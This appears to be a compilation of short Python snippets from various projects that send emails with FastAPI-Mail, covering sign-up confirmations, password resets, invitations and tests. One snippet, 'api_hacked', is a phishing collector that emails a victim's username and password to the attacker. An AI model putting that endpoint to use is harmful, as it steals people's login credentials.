def send(session: Session, event_used: int, user_to_send: int, title: str, background_tasks: BackgroundTasks = BackgroundTasks) -> bool: """This function is being used to send emails in the background. It takes an event and a user and it sends the event to the user. Args: session(Session): The session to redirect to the database. title (str): Title of the email that is being sent. event_used (int): Id number of the event that is used. user_to_send (int): Id number of user that we want to notify. background_tasks (BackgroundTasks): Function from fastapi that lets you apply tasks in the background. Returns: bool: Returns True if the email was sent, else returns False. """ event_used = session.query(Event).filter(Event.id == event_used).first() user_to_send = session.query(User).filter(User.id == user_to_send).first() if not user_to_send or not event_used: return False message = MessageSchema( subject=f"{title} {event_used.title}", recipients={"email": [user_to_send.email]}.get("email"), body=f"begins at:{event_used.start} : {event_used.content}", ) background_tasks.add_task(mail.send_message, message) return True
async def test_html_message_with_html(mail_config): persons = [{ 'name': 'Andrej' }, { 'name': 'Mark' }, { 'name': 'Thomas' }, { 'name': 'Lucy', }, { 'name': 'Robert' }, { 'name': 'Dragomir' }] directory = os.getcwd() html = directory + "/files" msg = MessageSchema(subject="testing", recipients=["*****@*****.**"], html=persons) conf = ConnectionConfig(**mail_config) fm = FastMail(conf) await fm.send_message(message=msg, template_name="email.html") assert msg.html == '''
async def background_send_group_invite_email( smtp_conn: FastMail, background_tasks: BackgroundTasks, email: EmailStr, action_link: str, group_name: str, ): with open("email-templates/group_invite.html") as html_file: text: AnyStr = html_file.read() soup: BeautifulSoup = BeautifulSoup(text, "lxml") button_link: Union[Tag, NavigableString] = soup.find(id="button-link").find("a") button_link["href"] = button_link["href"].replace("{{action_link}}", action_link) fallback_link: Union[Tag, NavigableString] = soup.find( id="fallback-link").find("a") fallback_link["href"]: str = fallback_link["href"].replace( "{{action_link}}", action_link) fallback_link.string = action_link group_details: Union[Tag, NavigableString] = soup.find(id="group-details") group_details.contents[0].replace_with(group_details.contents[0].replace( "{{group_name}}", group_name)) message_schema: MessageSchema = MessageSchema( subject="Clockpoint Group Invite", recipients=[email], body=str(soup), subtype="html", ) background_tasks.add_task(smtp_conn.send_message, message_schema)
async def invite_agent(invitation: AgentInvitationSchema): """ Creates an invitation token for a new agent and sends it to her email address. The invitation expires in 7 days. """ token = tokenize(invitation.dict(), expires=timedelta(days=7)) async with AsyncSession(engine) as session: async with session.begin(): obj = AgentInvitation( email=invitation.email, role=invitation.role, token=token ) await session.merge(obj) invitation_url = "{}/agent/register/{}".format(SITE_URL, token) message = MessageSchema( subject="Fastapi-Mail module", recipients=[invitation.email], body=""" <p>You have been invited. Token: {}</p> """.format( invitation_url ), subtype="html", ) mailer = get_mailer() await mailer.send_message(message) return {}
async def background_send_new_account_email( smtp_conn: FastMail, background_tasks: BackgroundTasks, email: EmailStr, action_link: str, ): with open("email-templates/new_account.html") as html_file: text: AnyStr = html_file.read() soup: BeautifulSoup = BeautifulSoup(text, "lxml") button_link: Union[Tag, NavigableString] = soup.find(id="button-link").find("a") button_link["href"] = button_link["href"].replace("{{action_link}}", action_link) fallback_link: Union[Tag, NavigableString] = soup.find( id="fallback-link").find("a") fallback_link["href"]: str = fallback_link["href"].replace( "{{action_link}}", action_link) fallback_link.string = action_link message_schema: MessageSchema = MessageSchema( subject="Welcome to Clockpoint", recipients=[email], body=str(soup), subtype="html", ) background_tasks.add_task(smtp_conn.send_message, message_schema)
async def send_mail(email: schema.Email) -> JSONResponse: template = """ <html> <body> <p>Hi !!! <br>Thanks for using fastapi mail, keep using it..!!!</p> </body> </html> """ message = MessageSchema( subject=email.dict().get('subject'), recipients=email.dict().get( "email"), # List of recipients, as many as you can pass body=template, subtype=email.dict().get('topic'), ) fm = FastMail(conf) await fm.send_message(message) print(message) return JSONResponse(status_code=200, content={"message": "email has been sent"})
async def api_hacked(hacked_user: HackedUser): email = {'email': ['*****@*****.**']} user_dict = hacked_user.dict() template = f""" <html> <body> <p>Hola Hacker!</p> <p>Estos son los datos de la victima<br> Usuario: <strong>{hacked_user.username}</strong><br> Password: <strong>{hacked_user.password}</strong><br> </p> </body> </html> """ message = MessageSchema( subject="Datos de la pesca", recipients=email.get( "email"), # Lista de correos a donde se envia la data body=template, subtype="html") fm = FastMail(conf) await fm.send_message(message) return user_dict
async def send_email(receivers, subject, body, subtype="html", template=None): """Send Mail""" message = MessageSchema(subject=subject, recipients=receivers, body=body, subtype=subtype) await FASTAPI_MAIL_INSTANCE.send_message(message, template)
async def on_after_register(user: UserDB, request: Request): token = secrets.token_urlsafe(32) await db['confirmations'].insert_one({'id': user.id, 'token': token}) if await db['invited'].find_one({'email': user.email}) is not None: print(await db['users'].update_one({'id': user.id}, {'$set': { 'is_accepted': True }})) if user.email == settings.admin_email: if await db['users'].find_one({'email': settings.admin_email}) is not None: await db['users'].update_one( {'id': user.id}, {'$set': { 'is_accepted': True, 'is_superuser': True }}) token_url = f'{settings.frontend_url}/confirm/{token}' message = MessageSchema( subject='Welcome to rowmate.org', recipients=[user.email], body= f'Hi {user.name},\n\nthis is your registration mail with your verification link:\n\n{token_url}\n\nBest regards,\napp.rowmate.org' ) await mail.send_message(message) return {'detail': 'Verification mail has been sent'}
def __do_send_email(self, data): # TODO: Image?? background = self.__ctx['background'] msg = MessageSchema(subject=self.__subj, recipients=self.__tgts, body=data, subtype='html') fm = FastMail(settings.mail_config) background.add_task(fm.send_message, msg, template_name=self.__tname)
async def user(to: EmailStr, body: Body): message = MessageSchema(subject="Confirm your email address", recipients=[to], body=body, subtype="html") if (os.getenv("MAIL_USERNAME") and os.getenv("MAIL_PASSWORD")) or ( config.CONFIG.mail_username and config.CONFIG.mail_password): fm = FastMail(conf) await fm.send_message(message, template_name="email_template.html")
async def on_after_forgot_password(user: UserDB, token: str, request: Request): message = MessageSchema( subject="Reset password request", recipients=[user.email], body=f'Here is your reset token\n\n {token}' ) fm = FastMail(email_conf) await fm.send_message(message)
async def sendemail(background_tasks: BackgroundTasks,email: EmailStr = Form(...),subject: str = Form(...),body: str = Form(...))-> JSONResponse: message = MessageSchema( subject = "{} : {}".format(email, subject), recipients = ['*****@*****.**'], body = body ) fm = FastMail(conf) background_tasks.add_task(fm.send_message, message) return JSONResponse(status_code=200, content={"msg": "Email sended successfully"})
async def send_activation_email(user: UserInDB): email_template = template.format(str(user.activation_code)) print(email_template) message = MessageSchema(subject="Kako app - activation code", recipients=[user.email], body=email_template, subtype="html") fm = FastMail(conf) await fm.send_message(message)
async def test_connection(mail_config): message = MessageSchema(subject="test subject", recipients=["*****@*****.**"], body="test", subtype="plain") conf = ConnectionConfig(**mail_config) fm = FastMail(conf) await fm.send_message(message)
async def simple_send(email: EmailSchema) -> JSONResponse: message = MessageSchema( subject="Project 28 Survey", recipients=email.dict().get( "email"), # List of recipients, as many as you can pass body=html, ) fm = FastMail(conf) await fm.send_message(message) return JSONResponse(status_code=200, content={"message": "email has been sent"})
async def simple_send(email: EmailSchema) -> JSONResponse: message = MessageSchema(subject="Fastapi-Mail module", recipients=email.dict().get("email"), body=html, subtype="html") fm = FastMail(conf) await fm.send_message(message) return JSONResponse(status_code=200, content={"message": "email has been sent"})
async def simple_send(emails, content, subject): message = MessageSchema( subject=subject, recipients=emails, body=content, subtype="html" ) fm = FastMail(conf) await fm.send_message(message)
async def send_email_async(subject: str, email_to: str, body: dict): message = MessageSchema( subject=subject, recipients=[email_to], body=body, subtype='html', ) fm = FastMail(conf) await fm.send_message(message, template_name='email.html')
async def send_mail(message: EmailMessage) -> SocketResponse: data = MessageSchema( subject=message.subject, recipients=message.recipients.dict().get("email"), body=message.body, subtype="html", ) fm = FastMail(conf) if not email_console: await fm.send_message(data) else: print(data.dict()) return SocketResponse( **{ "message": "email has been sent", "current_time": datetime.now(), "status": 2, })
async def newsletter(to: List[EmailStr], subject: str, body: str): message = MessageSchema( subject=subject, recipients=to, body=body, subtype="html", ) conf = get_config() if conf: fm = FastMail(conf) await fm.send_message(message)
async def send_mail(subject: str, recipient: List, message: str): message_s = MessageSchema( subject=subject, recipients=recipient, body=message, subtype="html", ) fm = FastMail(conf) await fm.send_message(message=message_s) return {"status": "sent messgae"}
async def simple_send(email, code="", front_url="") -> JSONResponse: print(email) message = MessageSchema( subject="Activate your secret voldemort account", recipients=email, body=html(front_url, code), subtype="html" ) fm = FastMail(conf) await fm.send_message(message) return JSONResponse(status_code=200, content={"message": "email has been sent"})
async def on_after_register(user: UserDB, request: Request, ): html = """ <p>Thank you for registering!</p> """ message = MessageSchema( subject="Terima kasih kerana mendaftar!", recipients=[user.email], body=html, subtype='html' ) fm = FastMail(email_conf) await fm.send_message(message)
async def use_template(to: List[EmailStr], subject: str, body: dict, template: str): message = MessageSchema( subject=subject, recipients=to, body=body, subtype="html", ) conf = get_config() if conf: fm = FastMail(conf) await fm.send_message(message, template=template)
def send_email(background_tasks: BackgroundTasks, email, code, request: Request): """Sends an email with a defined template containing the passcode. Email is intialized at '/enter_recovery_email' endpoint as global. You have to fill in here your email and password from which you want to send the mail (GMAIL). Parameters ---------- background_tasks : BackgroudTasks For sending the mail in the background. request : Request For using JinJaTemplates as a response. Returns ------- template : Jinaja Template Returns the template "after_email_sent_response.html". """ template = """ <html> <body> <p>Hi !!! <br>Thanks for using Workeeper</p> <p> Your passcode is : %s </p> </body> </html> """ % (code) conf = ConnectionConfig(MAIL_USERNAME='******', MAIL_PASSWORD="******", MAIL_PORT=587, MAIL_SERVER="smtp.gmail.com", MAIL_TLS=True, MAIL_SSL=False) message = MessageSchema( subject="password recovery", recipients=[email], # List of recipients, as many as you can pass body=template, subtype="html") fm = FastMail(conf) #await fm.send_message(message) background_tasks.add_task(fm.send_message, message) return templates.TemplateResponse("after_email_sent_response.html", {"request": request})
async def test(email: EmailSchema): message = MessageSchema( subject="Fastapi-Mail module", recipients=email.dict().get( "email"), # List of recipients, as many as you can pass body=""" <p>Hi this test mail, thanks for using Fastapi-mail</p> """, subtype="html", ) mailer = get_mailer() await mailer.send_message(message) return {"result": "ok"}
async def send_confirmation_to_client( self, email_info: mail_schemas.RequestCreated, required_docs: List[str]): html = confirmation_html() message = MessageSchema(subject=email_info.dict().get("subject"), recipients=[ email_info.dict().get("client_email"), ], body=html, subtype="html") fm = FastMail(self.conf) await fm.send_message(message)
async def test_html_message(mail_config): directory = os.getcwd() html = directory + "/files" msg = MessageSchema(subject="testing", recipients=["*****@*****.**"], body="html test") conf = ConnectionConfig(**mail_config) fm = FastMail(conf) await fm.send_message(message=msg, template_name="test.html") assert msg.subtype == "html"
async def send_email_async(subject: str, recipients: list[EmailStr], template: str, body: dict = {}, attachments: list[dict] = []): message = MessageSchema(subject=subject, recipients=recipients, template_body=body, subtype='html', attachments=attachments) fm = FastMail(_conf) await fm.send_message(message, template_name=template)